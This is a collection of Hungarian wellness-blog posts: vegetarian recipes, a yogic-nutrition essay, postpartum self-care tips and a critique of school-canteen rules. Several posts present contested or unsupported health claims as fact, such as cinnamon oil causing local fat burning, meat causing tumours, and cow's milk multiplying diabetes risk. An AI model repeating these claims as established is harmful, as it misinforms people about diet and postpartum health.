A szilvákat megmossuk, kimagozzuk. A datolyákat meleg vízben megáztatjuk. A turmixgép poharába a megmosott, kimagozott szilvákat beletesszük, hozzáadjuk a megpuhult datolyát, és a turmixgéppel alaposan összeturmixoljuk.
Turmixolás után kiöntjük a formákba, be a fagyasztóba és kb. 3-4 óra múlva bevonhatjuk a csokis-mogyorós külsővel. (Vagy elfogyasztjuk anélkül.)
A folyékony kókuszzsírt (ha szilárd, rövid idő alatt folyékony lesz, ha tűzhelyen melegítjük) összekeverjük karobbal/kakóporral és valamilyen édesítő-szerrel. Az egész mogyorót aprítógéppel összetörjük vagy zacsiba tesszük és pl. húsklopfolóval vagy sodrófával addig ütögetjük, míg megfelelően darabos nem lesz. A megfagyott jégkrémet belemártjuk a csokiszószba, vagy kanál segítségével bevonjuk a csokival, a mogyoróban gyors megforgatjuk (mivel hideg a jégkrém, a csokiszósz pillanatok alatt megdermed a tetején). Alufóliába csomagoljuk (nem valószínű ugyanis, hogy a külső rétegtől a formába visszacsúsztatható), rövid időre visszatesszük a fagyasztóba, hogy belülről ismét megdermedjen, ugyanis elképzelhető, hogy megolvad a belseje a kemény csokiburok alatt.
Tipp: Ha nem tudjuk a pálcikán elhelyezkedő jégkrémet azonnal a tubusából kivenni, mielőtt a csokimázba tennénk, két ujjunkkal körbefogjuk a tubus végét (ahol a pálcika közelebb van), kicsit úgymond "felmelegítjük", majd könnyedén kihúzzuk a kész jégkrémet.
Jóga és táplálkozás - Hogyan hatnak az ételek a testre és az elmére?
2015. augusztus 27. Élj harmóniában
Az szinte mindenki számára ismert, hogy a jóga segítségével elérhető, hogy a test erős egészséges és hajlékony legyen. A jóga jótékonyan hat az emésztésre, légzésre, keringésre, hormonrendszerre és elérhető általa a testi-lelki harmónia, a belső nyugalom. A jóga eredeti, végső célja nem a fizikai közérzet javítása, hanem önazonosságunk felfedése és az elme kontrollálásával összekapcsolódás a Legfelsőbb Forrással. Jóga nem csak sport vagy mozgásforma, ennél sokkal több ez egy önmegvalósító folyamat, amely az élet minden területére kiterjed. Az önmegvalósításhoz azonban fontos az testi egészség megőrzése, a belső béke elérése a gondolatok elcsendesítésével. A test egészségének és rugalmasságának és az elme nyugalmának megőrzéséhez az egyik kulcs a táplálkozás. A táplálkozás kihat az energiaszintünkre, egészségügyi állapotunkra, tudatunk minőségére, gondolatainkra, viselkedésünkre. Bizonyos ételek a testet rugalmassá teszik, az elmét békéssé mások merevvé, tunyává teszik a testet és feszültté, izgatottá teszik az elménket. A tudatos táplálkozás alapja, hogy legyen megfelelő tudásunk arról, hogy az ételek pontosan hogyan hatnak testünkre és elménkre. Egy gyakorló jógi életében számos alapelv jelenik meg, amely nem csak a jóga ászának kivitelezésére, de az életmódra és az étkezésre is vonatkoznak: tudatosság, az ősi jógaírásokban meghatározott elvek, szabályok követése, az egyén helyzetének figyelembe vétele, kontroll elérése a légzés, test és az elme felett és az egyszerűség. Az ősi jógaírásokban olyan alapelvek, szabályok, előírások melyek az étkezésre vonatkoznak, továbbá részletes leírások találhatóak arra vonatkozóan, hogy az ételek, hogyan hatnak a testre és az elmére. A jógikus étrend alapvetően lakto-vegetáriánus - azaz a jógi húst, halat, tojást nem fogyaszt. A jógikus táplálkozásban preferált ételek jó emésztést biztosítanak, egyszerűek, természetesek, frissek, energiával töltenek fel, egészségessé, ellenállóvá teszik a test és nyugodt, békés elmét eredményeznek. A leírások alapján elsődlegesen előnyben kell részesíteni az olyan élelmiszereket, melyek energiában (pránában ) gazdagok - ilyenek a gyümölcsök, zöldségek, gabonák, magvak melyek vegyszermentesen, természetes körülmények között közvetlenül a nap, a holdfény, a szél, a víz segítségével teremnek. Amikor étkezünk egyik fő cél, hogy a testünk energiához jusson, ha valaki eszik és utána nem azt érzi, hogy tele van energiával és kreatív, hanem elnehezültnek érzi magát, akkor az elfogyasztott étellel nemhogy energiát termelt a testének, hanem energiát vont el a testtől. Egészségügyi állapotnál a legfontosabb, hogy a húsból készült ételek emésztése nehézkes és az emésztési folyamat során számos káros anyag keletkezik, mely a testi egészségre ártalmas és betegségek forrása lehet (ízületi problémák, májbetegség, daganatos megbetegedések), továbbá merevvé teszi a testet. A tartósítószerezett, vegyszerezett, nem természetes ételek is káros hatással vannak az egészségügyi állapotra.(az emésztés javításáról egy korábbi bejegyzésben itt olvashatsz.) Másik fontos szempont a kógikus étrendnél az erőszak nélküliség - ahimsza a jóga egyik lényeges alapelve. Patandzsali a Jóga szútrákban arról ír, hogy ennek az elvnek a megértése nélkül nem lehet megfelelően fejlődni a jógában és nem tudunk fejlődni a többi szabályozó elv gyakorlásában sem. Azonban az ahimsza elvének megvalósítása, megértése segíti a jógit minden más területen a fejlődésben. Fontos, hogy a jógi szeretettel viszonyuljon más élőlények és a környezete felé, tisztelje az életet, ne akarja elpusztítani. Egy gyakorló jógi azért sem fogyaszt húst, mert a testi egészség fenntartható anélkül is, hogy állatoknak kellene meghalnia - a világ számos területén több ezer éves vegetáriánus kultúra van és generációról, generációra több ezer ember nőtt fel hús nélkül, tehát bizonyított, hogy hús nélkül a test egészséges marad. Azaz nincs szükségünk hús fogyasztásra az egészségünk fenntartásához, sokkal inkább élvezeti cikk. Továbbá ismert, hogy az állattenyésztés nagyon súlyosan károsítja a környezetet (levegőszennyezés, vízfogyasztás, földterületek felhasználása) és növény alapú élelmiszerek fogyasztásával nagyon sokat tehetünk a környezet védelméért és megoldható lenne a földön az éhezés kérdése is. A legfontosabb tényező az étkezésnél az ételek, tudatunkra gyakorolt hatása. Az anyagi világot három minőség építi fel: a szattva (jóság), a radzsasz (szenvedély) és a tamasz (tudatlanság). Ezek a minőségek mindent áthatnak, kötőerőknek is hívják őket és leginkább jellemzőik és hatásaik alapján lehet felismerni a különböző kötőerőket. A szattva (jóság) minősége tisztább a többinél, nyugodtság, béke, harmónia, tudás és önkontroll jellemzi. A radzsasz (szenvedély) jellemzője a vég nélküli vágyak, állandó sóvárgás, túlzott aktivitás, izgatottság, nyugtalanság. A tamasz (tudatlanság) jellemzője a hanyag inaktivitás, érdektelenség, őrület, lustaság depresszió, tompaság, negatív érzelmek. Ezeket a minőségeket megismerve fejlődik az érzékenységünk és tudatos választásokon keresztül tudjuk erősíteni egyik vagy másik hatását az életünkben és a tudatunkban. Ez vonatkozik az ételek megválasztására, ha tudjuk melyik étel, hogyan hat a testünkre és az elménkre tudatos választással dönthetünk az ételeken keresztül fizikai közérzetünk vagy elménk állapota felől. A Bhagavad-gita a jóga egyik alapműve, amiből rengeteg hasznos információt tudhatunk meg arról, hogy mi segíti elő és mi gátolja azt, hogy valaki elérje a kiegyensúlyozott, harmonikus életet és fejlődön a jógában. Általános és specifikus ismereteket egyaránt szerezhetünk általa. A VI. fejezetben a következő általános elveket említi "Oh, Arjuna, nem lehet jógi az, aki túl sokat vagy túl keveset eszik vagy alszik. Akinek evése, alvása, pihenése és munkája szabályozott, az a jóga gyakorlásával minden anyagi fájdalmat képes megszüntetni." Azaz nagyon fontos, hogy az életben törekedjünk a kiegyensúlyozottságra, ahogy nagymamáink mondták arany közép út:) A XVII. fejezet a különféle táplálkozási szokásokra részletesebben is kitér a Bhagavad Gíta. ,,A jóság minőségében élők olyan ételeket kedvelnek, amelyek meghosszabbítják az életet, megtisztítják az ember létét, erőt, egészséget, boldogságot és elégedettséget adnak. Az ilyen ételek lédúsak, zsírosak, táplálóak, és örömmel töltik el a szívet. A jóság minőségébe tartozó ételek, vegetáriánus ételek és segítenek minket abban, hogy egészségesek, boldogok, kiegyensúlyozottak legyünk és a testünk erős, rugalmas legyen. A legfontosabb hatást a tudatunkra fejtik ki. Az intelligencia élesebb lesz, tisztább tudatot és gondolkodást eredményez. A szattvikus étkezés segíti a helyes döntéseket, illetve az érzékek kifinomulását fogjuk tapasztalni, valamint a testben pozitív energiaáramlást.Szattvikus ételek: Friss, vegyszermentes tiszta minőségűek. Olyan édesítők melyek természetesek és nem mentek finomítási folyamatokon (nyers nádcukor, méz, aszalt gyümölcsök), a finom friss gyümölcsök (alma, körte, eper, cseresznye, banán, datolya, szőlő, füge, áfonya, narancs, citrom) friss zöldségek (cukkini, brokkoli, répa, cékla, karfiol, paprika, spenót, padlizsán, uborka, karalábé, édeskömény), olajos magvak (mandula, napraforgómag, tökmag, dió, mogyoró, kókusz), gabonafélék (rizs, búza, quinoa, árpa, hajdina, köles) a hüvelyesek, különösen a mung bab, gyógyteák és a házi friss bio és nem homogenizált tejtermékek - tej, ghí (tisztított vaj), frissen készített joghurt és házi sajt. A nyugodt körülmények között, megfelelő lelkiállapotban elfogyasztott étkezés szattvikusan hat ránk. ,,A túlságosan keserű, túl savanyú, sós, erős, csípős, száraz és égető ételt a szenvedély kötőerejében levők kedvelik. Az ilyen ételek boldogtalanságot, szenvedést és betegséget okoznak. A szenvedély minőségébe tartozó ételek a testi-lelki egyensúlyt felborítják, izgatottá tesznek, nyugtalanná, irányíthatatlanná teszik az elmét, felpörgetik az érzékeket és nagyon igénybe veszik az emésztő szervrendszert. A hirtelen intenzív tapasztalatok feltornázzák az ingerküszöböt ezért a normális ingereknél egyre nagyobb tompaságot fogunk tapasztalni. Az emésztőszervrendszer hosszú távon megbetegszik. A radzsasztikus ételek erősítik az egohoz való ragaszkodást és vágyakat gerjesztenek .Ide tartoznak a túl száraz, égetett ételek, túl savanyú, túl sós, túl fűszeres, túl keserű ételek, a hagymafélék, erős fűszerek, kávé, tea, kakaó és csokoládé, A túlzottan gyors evés is radzsasztikusan hat a testünkre és személyiségünkre. ,,A tudatlanság minőségében lévők az olyan ételeket szeretik, amit a fogyasztás előtt több, mint három órával főztek, ami ízetlen, romlott és rothadó, valamint maradékokból és tisztátalan alapanyagokból készült. A tudatlanság minőségébe tartozó ételek nagyon leterhelik az egész testet, blokkolják az energia áramlását, rengeteg energiát vonnak el a testtől. legyengítik az immunrendszert és így a test nem tud ellállni a betegségekkel szemben. Nagyon sok méreganyagot halmoznak fel a testben. Tompaságot, nehézséget, lusta, tunya állapotot eredményeznék a testben és az elmében. Kedvezőtlenül befolyásolják a személyiséget, mert negatív érzelmeket, haragot, ingerlékenységet, depressziót hoznak létre. A tudatlanság minőségébe tartoznak a húsételek (a tengeri élőlények is), tojás, alkohol, erjesztett ételek (mint pl. a nem friss sajtok), ecet és minden étel ami álott, régi, többször lett melegítve. Tamasztikus ételekhez tartoznak még a finomított cukrok, félkészételek, konzervek, fagyasztott élelmiszerek, gyors ételek és a gombafélék és a szénsavas italok. A túl sok étel fogyasztása is tamasztikusan hat a testre és az elmére. A táplálkozás hatása a tudatunkraA jógikus étrend alapvetően természetes, vegyszermentes (bio) alapanyagokból készült, szattvikus, vegetáriánus ételek fogyasztását részesíti előnyben Az elfogyasztott ételek mennyiségére vonatkozóan a jógaírások azt javasolják csak félig töltsük meg a gyomrot étellel, egy negyed részét folyadékkal és hagyjunk egy negyed részt üresen, hogy az emésztés során felszabaduló gázoknak legyen helye. Akkor együnk, amikor éhesek lettünk és az előző táplálékot már megemésztettük - azaz 3-6 óra teljesen el két étkezés között. Lehetőleg este 18:00-ig fogyasszuk el a vacsorát, de lefekvés előtt néhány órával már ne együnk. Ha megfelelően étkeztünk étkezés után tele vagyunk energiával és elégedettnek érezzük magunkat . Amikor elkezdjük felfedezni a jógikus étkezést észrevesszük az alapanyagok változatosságát, ételek sokszínűségét, az ízek és aromák gazdagságát. Vitalitásunk fokozódik, szűnnek súlyproblémáink és javul az emésztésünk és az egészségünk, továbbá tisztulnak az érzékek (ízlelés, szaglás, hallás) és változásokat tapasztalunk viselkedésünkben. A jól összeállított, jógikus étrend egészségügyi és élettani szempontból minden követelménynek megfelel, változatos, ízletes, egészséges. A fenti alapelveket lépésről lépésre javasolt beépíteni az életmódodba. Kezdetben csak egy-egy dolgon próbálj változtatni és figyeld meg a tapasztalásokat - több energiád lett-e, nyugodtabbnak érzed-e magad, etc. Nem szabad hirtelen mindenről lemondani, itt is a fokozatosság a lényeg. Légy szeretettel és türelemmel saját magad felé és fontos, hogy az étkezések örömmel töltsenek el. Mindenkinek energiában gazdag, egészséges táplálkozást és kiegyensúlyozottságot kívánok szeretettel:) Kati
Gluténmentes sós muffin
2015. augusztus 23. Élj harmóniában
Ma kirándulni mentünk és ilyenkor mindig jól jön, ha van a hátizsákban valamilyen elemózsia:) Egy gluténmentes sós muffin-t készítettem, amit jóízűen el is fogyasztottuk a Nagy kevélyen:) Gluténmentes sós muffinNem csak azért szeretem ezt a receptet, mert finom, de a csicseriborsó liszt és a rizsliszt keveréke teljes értékű fehérjével szolgál a szervezet számára - így minden szükséges aminósavat tartalmaz az étkezés - a csicseriborsóban és a rizslisztben lévő fehérje is tökéletesen be tud épülni. Sokszor éri a vegetáriánusokat az a vád, hogy nincs meg minden az étkezésükben ami a húsban és majd legyengülnek... ezt olyanok mondják, akiknek fogalma sincs a fehérje beépülési folyamatról:) Ha a fehérjéket komplettálod, akkor teljesen be tudnak épülni a szervezetedbe. Hozzávalók: 1,5 bögre rizsliszt 3/4 bögre csicseriborsóliszt 1,5 tk. szódabikarbóna 1 és 1/4 bögre víz 10 dkg vaj (vegán változatban kókuszzsír) 1/2 tk. citrom leve 1 cukkini só , bors, kurkuma, rómaikömény A cukkinit mosd meg és vád apróra (kb. egy bögre). Egy tálban keverd össze a rizslisztet, csicseriborsólisztet, szódabikarbónát sót, fűszereket. Majd keverd hozzá a citromlevet, olvasztott vajat, vizet és az egészet keverd jól össze. Amikor elkeverted a tésztát, beleteheted a zöldséget. Egy muffin formába (ha szükséges tegyél bele muffin papírt) adagold bele a tésztát. Tedd 180°C fokra előmelegített sütőbe és süsd amíg aranybarnára sül. (kb. 20-25p) Vegyszermentes (bio) alapanyagokat használj!
Otthoni wellness kisbaba mellett
2015. augusztus 22. Fittanyuka
Egy kisbaba mellett az első hetekben a “baba-műszak” 24 órás. Segítség nélkül sok anyuka hulla fáradt, a szoptatások, napi többszöri altatás, az éjszakai etetések, másik gyerkőc és azért még ott van a háztartás is. Édes teher, de bizony fárasztó, valljuk be.
Nálam sincs másképpen, vannak könnyebb napok, de szinte törvényszerűen utána jön egy húzósabb éjszaka vagy egy front és máris borul az amúgy is még kialakulóban lévő rendszerünk. Az első otthon töltött napokban hálás voltam egy tusolásért, egy hajmosásért. Természetesen utána már könnyebb, miután összeszokunk és napirendet alakítunk ki a kisbabánkkal.
Viszont fontos, hogy szülés után is kisbabás anyukaként, nőként jól érezzük magunkat a bőrünkben, hiszen ez kulcsfontosságú, így sokkal kisebb eséllyel leszünk szülés után depressziósak, letargiások. Számomra ilyenkor is fontos, hogy kívül “rendezett” legyek, így maradok belül is az, egyensúlyban maradok önmagammal.
Néhány olyan olcsó tippet osztok meg, amelyek segítségével a szülés előtti önmagam lehetek, az eredmény nem marad és alig vesz el időt a napunkból, az alvás időt szoktam kihasználni és egyéb teendőim mellett erre is szánok kis időt.
1. Hasszorító szülés után:
Szülés után a hasunk nemsokkal lesz kisebb, mint mikor a baba még pocaklakó volt. A méhnek 6 hét kell, hogy visszanyerje eredeti méretét, a bőr, a szövetek is megnyúltak, idő kell, hogy a belek és belső szervek is a “régi” helyükre kerüljenek. Nekem sokat segített az első terhességem alatt is használtam, most másodjára pedig már tudatosabban használom a hasszorítót. Tapasztalatom, sokkal gyorsabban megy le a poci, a torna és mindenféle mozgás egyenlőre elfelejtve minimum 6 hétig. Majd a hatodik hét után jöhet a következetes, fokozatos mozgás és az úgynevezett sport fűző alkalmazása.
Az első napokban (1-10 nap) folyamatosan fent hagytam a hasszorítót, csak tusolásnál vettem le, utána napi 8 órát hordom és kiegészítem hetente háromszor egy enyhe has-derék masszázsal ami a kis kézi maszírozómmal végzek. A has, derék területét kókuszolajjal dörzsölöm be, mint bázisolaj amelybe cseppentek 5-10 csepp fahéjolajat (serkenti a vérkeringést), ezt masszírozom be a kritikus területekre és ezek után teszem fel a hasszorítót. Ez lokális zsírégetés, nincsen negatív hatással a szoptatásra, az anyatej minőségére.
Hetente háromszor:
BÁZISOLAJ(KÓKUSZOLAJ)+5-10 CSEPP FAHÉJOLAJ+VÉRKERINGÉST SERKENTŐ MASSZÁZS
2. Relax organikus tea + Baba-mama tea
Természetes nyugtató teákra szükség van, amelyek segítenek ellazítani, enyhe gyógynövények, így nem ártanak a babának sem a szoptatás által. Én általában este iszom egy csészével, habár még tudom, hogy az éjszaka 2-4 alkalommal kelni fogok. Segítenek ellazítani és jó hatással vannak a közérzetemre.
Ezeket az összetevőket tartalmazza a relaxáló tea: gyömbér, citromfű, citrom verbena levél, édesgyökér, kurkuma gyökér.
A baba-mama teám amely nemcsak tejszaporító, de abszolut puffadásgátló a babának is: Neuner’s bio tea.
Összetétele: ánizs, édeskömény, verbéna, kömény, görögszéna mag
Koffeinmentes!
3. Vitaminok:
A szoptatás ugyanúgy, mint a várandósság sok-sok vitamint, ásványianyagot, nyomelemet von el a szervezettől. Én a megszokott étrendem követem, amely tej,-tojás és húsmentes, ellenben sok zöldséget, gyümölcsöt, teljes értékű gabonát, esszenciális zsírokat tartalmaz.
A megnövekedett fehérje igényt rizsfehérjével pótolom, amelyet korábban sportolás alkalmával fogyasztottam és amely tartalmazza az esszenciális aminósavakat, mint a húsfélék, tejsavó is tartalmaz ( csak nehezebben feldolgozható formában a szervezet számára).
A vitamin komplex is maradt amit a várandósság alatt fogyasztottam, egy teljesen természetes, vegyszermentes, szerves vitamin, ásványianyag formula. Erről itt írtam korábban! A kiegyensúlyozott lelki állapothoz szükség van a szervezet támogatása. A magnézium segít az állandó fáradsággal megküzdeni és az ingerlékenységet is csökkenti. A C vitamin pedig az immunrendszert támogatja, amelyre a szoptatás és fáradság miatt szükség van, hiszen ilyenkor csökkenhet az immunitás.
Szilva chutney (csatni)
2015. augusztus 20. Élj harmóniában
Valaki kérte, hogy tegyek fel szilva chutney receptet, mert a szilva szezon közepén sok szilvát kapott. Örömmel teszek a kérésnek eleget, mert a csatnik közül a kedvencem a szilva:) A csatnik (chutney) olyan minden ízlelőbimbónkat igénybe vevő csemegék, melyek célja az ételek ízének kiemelése. Általában egyszerre édes, sós, csípős vagy akár savanyú ízeket is intenzíven hordozhat egy csatni magában. Készülhetnek nyersen vagy főzve is. Radha Red Szilva chutney (csatni) hozzávalói az eredeti recept szerint: - 4 ek. ghí (vagy vaj) - 1,5 tk. örölt koriander - 1/4 tk. őrölt kardamom - 1 egész szárított csili - 3 ek . kókuszreszelék - 1,5 kg érett kékszilva - 2 bögre (500ml) nádcukor - csipetnyi kámfor (elhagyható) Készítsd elő a szilvát, mosd meg, magozd ki és vágd 8 részre. A ghít (vagy vajat) melegítsd fel és szórd bele a koriandert, kardamomot, morzsolt bele a csilit, szórd bele a kókuszreszeléket ezt egy percig pirítsd kis lángon - vigyázz nehogy odaégjen. Tedd hozzá a szilvát - kb. 15 perc alatt szétfő - majd öntsd hozzá a cukrot és kb. 40 percig főzd kis lángon. Bundázott, rántott zöldségekhez kiváló. Vegyszermentes (bio) alapanyagokat használj :) Kámfort indiai boltban pult alól lehet beszerezni Nincs kirakva... az eladónál ha rákérdezel, akkor előveszi a pult alól.:)
Menzareform. Tényleg ez kell a gyermekeinknek?
2015. augusztus 16. Éltető ételek
Szinte megszokottá válik, hogy gyermekeink elhízottak, cukorbetegségben, emésztőszervi betegségekben szenvednek (székrekedés, aranyér), gluténérzékenyek. Valamint azt sem szabad elfelejteni, hogy gyermekkori táplálkozásunk nagyban kihat a felnőttkori egészségünkre. A gyermekek óvodás kortól közétkeztetésben vesznek részt, ezért nagyon fontos (lenne), hogy megfelelő minőségű ételt kapjanak. Természetesen a kalóriát pontosan kiszámolják, de hogy az mennyire táplálja a fejlődő gyermek testét, az már más kérdés. Kijelenthetjük, hogy minőségi éhezés van - persze ez nemcsak a gyermekekre, hanem a felnőttekre is igaz -, ezért alakulnak ki különféle krónikus betegségek. A gyerekek egészséges fejlődéséhez teljes értékű ételekre van szükség. Mit is jelent a teljes értékű elnevezés? Az alapanyagból nem vesznek el semmit (nem finomítják) és nem is adnak hozzá semmit (különféle adalékok, színezékek, ízfokozók). De amíg alapélelmiszernek számít a fehér BL55-ös liszt, a kristálycukor és a finomított napraforgóolaj, addig nagy változások nem lesznek. A Minis ztérium próbál tenni valamit, de nem eleget . Természetesen azt már látják, hogy a túlzott sófogyasztás felnőttkori szív- és érrendszeri betegségekhez vezet és a túlzott cukor- és zsírfogyasztás pedig elhízáshoz. Ezért tilos sószórót kitenni az asztalra, és a cukor mennyiségét is korlátozzák. Ennyiből majdnem ki is merült az egészséges táplálkozás meghatározása. Az EMMI rendelete a Közétkeztetésre vonatkozó táplálkozás-egészségügyi előírásokról szeptembertől élesben fog működni, de sajnos még mindig vannak benne elmaradott gondolkodású pontok . A rendelet szerint személyenként legalább 3 dl tejet vagy ennek megfelelő mennyiségű kalciumtartalmú tejterméket, és mindennapos állati eredetű fehérjeforrást kell biztosítani a napi 3x-i étkezés esetében. Ilyenkor elgondolkodok, hogy a jogszabály írói elolvasták-e az újabb kutatási eredményeket. Ha mást nem is, de a Kína tanulmányt mindenképp javaslom elolvasásra nekik. A könyv szerzője T. Colin Campbell rávilágít arra, hogy a napi kalóriabevitel 10%-ánál több állati fehérje krónikus betegségek kialakulásához vezet. Tehát mindenképp fontos azt betartani - gyerekek és felnőttek esetében is -, hogy az állati fehérje 10% alatt legyen. Ide tartozik a tej kazeintartalma (fehérje) is. Finn kutatások kimutatták, hogy a tehéntej fogyasztása öt-hatszorosára növeli az 1-es cukorbetegség kockázatát. Menzai körkép Először is, a legfontosabb az lenne, hogy a gyermek már otthon, a családi környezetben is egészségesen táplálkozzon. Ha már valamennyire ismeri a kölest, a barna rizst, a csicseriborsót vagy éppen a zöldsalátákat, zöldfűszereket, akkor nem fog a menzán előítélettel enni. Ha az asztalnál csak 1 gyerek fintorogni fog a zöld brokkoli leves láttán, akkor bizony nagy valószínűséggel a többiek már meg sem fogják kóstolni. Nekem is három iskolás lányom van, és tudatában vagyok annak, hogy milyen a közétkeztetés az iskolákban. A tízórai és az uzsonna szinte minden esetben vásárolt sós és édes péksütemény, a legolcsóbb felvágottal, virsli, tej (ami a bociknak való), gyümölcsjoghurt, cukros puding, túró rudi, kenyérlángos, vajas kenyér felvágottal és még sorolhatnám. Az ebéd sem jobb, a húsfélék áznak a zsírban, főzelékek közül csak a krumpli, borsó és tökfőzelék a jellemző, melyek nagyon hígak. Ezek sajnos nem tartalmazzák azokat a fontos összetevőket, melyekre egy fejlődő szervezetnek szüksége lenne. A helyes ételtársításról már ne is beszéljünk, amikor is az állati fehérjét nem célszerű keményítővel párosítani (pl. hús-krumpli). Mit is ír elő az elhíresült menzareform? Elsősorban azokat az előírásokat vettem górcső alá, ahol 3x étkezést biztosítanak. Naponta biztosítandó élelmiszercsoportok: két adag zöldség - ide nem értve a burgonyát - vagy gyümölcs, ezekből legalább egy adag nyers formában (1 adag gyümölcs 7-15 dkg, 1 adag zöldség 4-9 dkg alsó- és felső tagozatosok függvényébben) két adag gabona alapú élelmiszer, melyből legalább egy adagnak teljes kiőrlésűnek kell lennie (min. 50%-ban tartalmaz egész gabonaszemet, vagyis korpát és csírát is). Állati eredetű fehérjeforrást minden főétkezésnek, bölcsődei étkeztetés esetén az egyik kisétkezésnek is tartalmaznia kell. Egyéb előírások: Az italként kínált tej hozzáadott cukrot nem tartalmazhat. Nem lehet felhasználni sótartalmú ételport, sótartalmú leveskockát, sótartalmú ételízesítő krémeket, pasztákat állományjavításon vagy ételízesítésen kívüli célra. A tea legfeljebb 0-10 g cukrot tartalmazhat adagonként. A szükséges folyadék biztosítására étkezések között ivóvíz, illetve ásványvíz adható. Tilos a szénsavas vagy cukrozott üdítő, szörp, energiaital. Nem használhatnak sütéshez, főzéshez kókusz- és pálmazsírt. Ez kifejezetten érdekes, nem tudom, mivel jobb a finomított, hidrogénezett étolaj. A gyerek nem a kókuszzsírtól fog elhízni. Amennyiben kiegyensúlyozottan, egészségesen táplálkozik, akkor nyugodtan beleférnek a táplálkozásba a teljes értékű, telített zsírok is. 2 hétre (10 napra) vonatkozó előírások napi 3x étkezés esetén: - Hús: 6-10 alkalommal Hal: legalább 1 alkalommal 3 liter tej vagy ennek megfelelő mennyiségű kalciumtartalmú tejtermék - Tojás: 3-5 darab - Rizs: max. három alkalommal - Burgonya: max. öt alkalommal Szárazhüvelyesek a január 1-jétől április 30-ig és az október 1-jétől december 31-ig tartó időszakban: 1-3 alkalom - Szárazhüvelyesek a május 1-jétől szeptember 30-ig tartó időszakban: 1 alkalommal - Ízesített tejkészítmény: max. 2 alkalommal - Lekvár, mogyorókrém, csokoládékrém: max. 1 alkalommal - Olajos magvak: legalább 1 alkalommal - Teljes kiőrlésű gabona alapú élelmiszer: legalább 10 alkalommal - Margarin kenőzsíradékként: max. 10 alkalommal - Vaj kenőzsíradékként: max. 3 alkalommal - Bő zsíradékban sült étel: max. 1 alkalommal A következő részben leírom a véleményemet erről a rendeletről, hogy mi a jó benne és mit kellene még változtatni. Valamint ötleteket és megoldást is nyújtok arra vonatkozóan , hogy hogyan tudjuk a mindennapos étkezését megoldani gyermekünknek úgy, hogy egészséges felnőtt váljék belőle. Felhasznált irodalom: http://net.jogtar.hu/jr/gen/hjegy_doc.cgi?docid=A1400037.EMM
Gyors, cukormentes szilvás sütemény
2015. augusztus 12. Élj harmóniában
Megkezdődött a szilva szezon és a szilva jótékony hatásairól, már írtam bejegyzést (itt olvashatod). Mi nagyon szeretjük a szilvát minden formában - nyersen, csatninak, süteményekbe. Most egy nagyon kedvenc bögrés szilvás süti receptemet készítettem el. A bögrés süteményeket azért szeretem, mert gyorsan elkészíthetőek és még az alapanyagok adagolásához sem kell különösebb előkészület, mérleg, etc.... mindössze egy bögrére van szükségünk. Hozzávalók: - 18-20 db. szilva - 1,5 bögre teljes kiőrlésű tönkölybúzaliszt - 1,5 bögre fehér tönkölybúzaliszt - 1 kk. szódabikarbóna - 1 csg. sütőpor - vanília - fahéj - 1/2 bögre datolyacukor (ez egy természetes édesítő nincs finomítva, tulajdonképpen datolya szárított, őrölt formában. Ha cukorral akarod készíteni barna nádcukrot használhatsz helyette vagy bármilyen más édesítőt) - 10 dkg vaj (vegán változatban kókuszzsír) A szilvákat mosd meg és szedd félbe. Egy tálba keverd össze a többi hozzávalót, majd adj hozzá 2 bögre vizet. A keveréket öntsd egy sütőpapírral kibélelt (vagy kivajazott, lisztezett) tepsibe. Helyezd a félbe szedett szilvákat a tetejére szépen sorba. Majd a tepsit helyezd egy 180 fokra előmelegített sütőbe és süsd meg (kb. 30-40 perc tűpróbával ellenőrizd). Vegyszermentes (bio) alapanyagokat használj!
Banános granola
2015. augusztus 6. Éltető ételek
Szeretem ezeket a granolákat, egy kis időráfordítással megkönnyíthetjük a reggelünket. Hiszen akkor pár perc alatt tálalhatjuk is ezt a finomságot. A magokat nyugodtan lehet variálni, ha te jobban szereted a mogyorót vagy éppen a pekándiót, az is kerülhet bele. Ehetjük növényi tejjel, sok-sok gyümölccsel, de akár pohárkémekbe is kerülhet. Hozzávalók: Száraz hozzávaló: - 20 dkg nagyszemű zabpehely - 10 dkg aprószemű zabpehely - 10 dkg dió áztatva - 5 dkg mandula áztatva - 2 evőkanál kókuszvirágcukor - 1 evőkanál arany lenmag - 1 kávéskanál mézeskalács fűszerkeverék - 1 kávéskanál vaníliapor - jó nagy csipet só - 5-6 csepp narancsolaj - kevés friss citromlé Nedves hozzávaló: - 5 dkg kókuszolaj - 10 dkg méz vagy juharszirup - 1 nagy, érett banán Elkészítése: A diót és a mandulát vágjuk/törjük össze.A száraz hozzávalókat keverjük el.A kókuszolajat olvasszuk fel, majd adjuk hozzá a mézet. Pár percig lassú tűzön melegítsük együtt. Adjuk hozzá a banánpépet is.Öntsük rá a száraz hozzávalókra, majd még cseppentsük bele a narancsolajat és csavarjunk bele egy kevéske citromot is.Jól keverjünk össze mindent.Tegyük mindent egy jó nagy tepsibe.Előmelegített sütőben, folyamatos (3-5 percenként ellenőrizzük) keverés mellett pirítsuk meg. Kb. 170 fokon 30 perc alatt el is készül.Hagyjuk teljesen kihűlni, majd száraz helyet tároljuk.
Brownie müzliszelet
2015. augusztus 4. Éltető ételek
A bolti müzliszeleteket jobb kerülni, nem sok jó fajtát lehet kapni. Anyagilag sokkal jobban járunk, ha mi magunk készítjük el ezt a finom csemegét. Utazáskor, vagy csak úgy tízóraira is kiváló energiabomba. Hozzávalók: száraz hozzávaló: - 25 dkg nagyszemű zabpehely - 15 dkg áztatott/szárított dió - 20 dkg aszalt datolya - 10 dkg aszalt szilva - 5 dkg kókuszreszelék - 2 dkg puffasztott quinoa - 3 dkg cukrozatlan kakaópor - 1 kávéskanál vaníliapor - 1/2 kávéskanál fahéj - 5-6 csepp narancsolaj Nedves hozzávaló: - 5 dkg mogyoró (2 evőkanál mogyoróvaj) - 15 dkg méz vagy juharszirup - 3 dkg kókuszolaj vagy kakaóvaj Elkészítése: A zabot és a durvára tört diót sütőben vagy serpenyőben pirítsuk meg. Folyamatosan keverjük, hogy nehogy megégjen. 200 fokon, kb. 10 perc alatt elkészül.Hagyjuk kihűlni, majd keverjük hozzá a többi szárazanyagot is.A nedves összetevőt keverjük el egy lábasban, majd lassan melegítsük össze. Pár perc alatt egy homogén masszánk lesz. Ha kókuszolajat teszünk bele, akkor ilyen melegben érdemesebb a hűtőben tartani, a kakaóvaj esetén szobahőmérsékleten tartósabb (kevésbé puhul, olvad).Gyúrjunk mindent össze.Egy 20x20 cm-es jénait/tepsit folpackkal béleljük ki, majd jó alaposan nyomkodjuk bele ezt a tésztát.Tegyük be egy éjszakára a hűtőbe.Másnap szépen szeletelni tudjuk.
Vegán paella
2015. augusztus 3. Éltető ételek
